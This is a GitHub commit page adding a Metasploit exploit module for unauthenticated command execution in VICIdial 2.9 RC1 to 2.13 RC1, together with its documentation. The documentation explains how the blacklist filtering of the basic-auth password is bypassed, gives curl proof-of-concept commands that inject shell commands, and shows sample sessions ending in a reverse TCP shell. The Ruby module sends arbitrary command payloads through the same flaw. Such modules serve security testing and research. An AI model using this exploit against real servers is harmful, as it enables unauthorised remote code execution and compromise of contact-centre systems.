Skip to content

Commit 6bb7457

Browse files
committed
Land rapid7#8471, Add VICIdial user_authorization Unauthenticated Command Execution module
2 parents 50474a1 + dfb5806 commit 6bb7457

File tree

2 files changed

+245
-0
lines changed

2 files changed

+245
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
## Description
2+
3+
This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default).
4+
5+
When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to `exec()`.
6+
7+
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
8+
9+
10+
## Vulnerable Application
11+
12+
VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well.
13+
14+
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
15+
16+
Installers:
17+
18+
* [VICIdial 2.11 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download)
19+
* [VICIdial 2.13 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.13rc1.zip/download)
20+
21+
Follow the [instructions to enabled password encryption](http://vicidial.org/docs/ENCRYPTED_PASSWORDS.txt).
22+
23+
24+
## Technical Details
25+
26+
The `functions.php` file defines a function called `user_authorization`:
27+
28+
```php
29+
function user_authorization($user,$pass,$user_option,$user_update)
30+
```
31+
32+
This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the `pass` argument of the `bp.pl` Perl script, without quotes, using PHP's `exec()` function:
33+
34+
```php
35+
if ($SSpass_hash_enabled > 0)
36+
{
37+
if (file_exists("../agc/bp.pl"))
38+
{$pass_hash = exec("../agc/bp.pl --pass=$pass");}
39+
else
40+
{$pass_hash = exec("../../agc/bp.pl --pass=$pass");}
41+
```
42+
43+
A rudimentary blacklist is used to prevent command injection. The apostrophe `'`, quote `"`, semi-colon `;` and backslash `\` characters are removed from the user's username and password using `preg_replace`, like so:
44+
45+
```php
46+
$user = preg_replace("/\'|\"|\\\\|;/","",$user);
47+
$pass = preg_replace("/\'|\"|\\\\|;/","",$pass);
48+
```
49+
50+
It is trivial to bypass the blacklist.
51+
52+
For example, backticks ``` ` ```, pipe `|` or ampersand `&` are sufficient to bypass the blacklist and execute arbitrary operating system commands.
53+
54+
For the purposes of exploitation, reaching the `user_authorization` function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase:
55+
56+
```php
57+
$PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER);
58+
$PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW);
59+
```
60+
61+
However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation:
62+
63+
* help.php
64+
* vicidial_sales_viewer.php
65+
66+
In VICIdial version 2.13RC1, at least one file did not make use of the additional validation:
67+
68+
* vicidial_sales_viewer.php
69+
70+
This vulnerability was patched in revision 2759.
71+
72+
73+
## Proof of Concept
74+
75+
```bash
76+
$ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \
77+
--user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #'
78+
```
79+
80+
```bash
81+
$ curl -isk "https://VICIdial.local/vicidial/help.php" \
82+
--user 'anyusername:anypassword& id>/tmp/pwned_by_help #'
83+
```
84+
85+
Note that `/tmp/pwned_by_help` and `/tmp/pwned_by_sales_viewer` files should contain the results of the `id` command.
86+
87+
88+
## Verification Steps
89+
90+
1. Start `msfconsole`
91+
2. Do: `use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec`
92+
3. Do: `set rhost [IP]`
93+
4. Do: `run`
94+
5. You should get a session
95+
96+
97+
## Sample Output
98+
99+
```
100+
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
101+
[*] 172.16.191.150:80 The target appears to be vulnerable.
102+
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
103+
104+
[*] Started reverse TCP handler on 172.16.191.181:4444
105+
[*] 172.16.191.150:80 Sending payload (505 bytes)
106+
[+] 172.16.191.150:80 Payload sent successfully
107+
[*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400
108+
109+
id
110+
uid=48(apache) gid=48(apache) groups=48(apache)
111+
```
112+
113+
114+
## Sample Output (Verbose)
115+
116+
```
117+
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true
118+
verbose => true
119+
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
120+
121+
[*] 172.16.191.150:80 Password encryption is supported, but may not be enabled.
122+
[*] 172.16.191.150:80 The target appears to be vulnerable.
123+
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
124+
125+
[*] Started reverse TCP handler on 172.16.191.181:4444
126+
[*] 172.16.191.150:80 Sending payload (505 bytes)
127+
[+] 172.16.191.150:80 Payload sent successfully
128+
[*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400
129+
130+
id
131+
uid=48(apache) gid=48(apache) groups=48(apache)
132+
```
133+
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
14+
'Description' => %q{
15+
This module exploits a vulnerability in VICIdial versions
16+
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
17+
to execute arbitrary operating system commands as the web
18+
server user if password encryption is enabled (disabled
19+
by default).
20+
21+
When password encryption is enabled the user's password
22+
supplied using HTTP basic authentication is used in a call
23+
to exec().
24+
25+
This module has been tested successfully on version 2.11 RC2
26+
and 2.13 RC1 on CentOS.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
30+
'References' =>
31+
[
32+
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
33+
],
34+
'Platform' => 'unix',
35+
'Arch' => ARCH_CMD,
36+
'Payload' =>
37+
{
38+
# HTTP Basic authentication password
39+
'Space' => 2048,
40+
# apostrophe ('), quote ("), semi-colon (;) and backslash (\)
41+
# are removed by preg_replace
42+
'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
43+
'DisableNops' => true,
44+
'Compat' =>
45+
{
46+
'PayloadType' => 'cmd',
47+
'RequiredCmd' => 'generic perl python netcat'
48+
}
49+
},
50+
'Targets' => [[ 'Automatic Targeting', {} ]],
51+
'Privileged' => false,
52+
'DisclosureDate' => 'May 26 2017',
53+
'DefaultTarget' => 0))
54+
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
55+
deregister_options('USERNAME', 'PASSWORD')
56+
end
57+
58+
def check
59+
user = rand_text_alpha(rand(10) + 5)
60+
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
61+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
62+
'authorization' => basic_auth(user, pass)
63+
64+
unless res
65+
vprint_status 'Connection failed'
66+
return CheckCode::Unknown
67+
end
68+
69+
if res.code != 401
70+
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
71+
return CheckCode::Safe
72+
end
73+
74+
# Check for input filtering of '#' and '&' characters in password
75+
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
76+
if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
77+
vprint_status "#{peer} Target is patched."
78+
return CheckCode::Safe
79+
end
80+
81+
# Check for ../agc/bp.pl password encryption script
82+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
83+
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
84+
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
85+
return CheckCode::Appears
86+
end
87+
88+
vprint_status "#{peer} Could not verify whether password encryption is supported."
89+
CheckCode::Detected
90+
end
91+
92+
def execute_command(cmd, opts = {})
93+
user = rand_text_alpha(rand(10) + 5)
94+
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
95+
96+
print_status "#{peer} Sending payload (#{cmd.length} bytes)"
97+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
98+
'authorization' => basic_auth(user, pass)
99+
100+
if !res
101+
fail_with(Failure::Unreachable, 'Connection failed')
102+
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
103+
print_good "#{peer} Payload sent successfully"
104+
else
105+
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
106+
end
107+
end
108+
109+
def exploit
110+
execute_command(payload.encoded)
111+
end
112+
end

0 commit comments

Comments
 (0)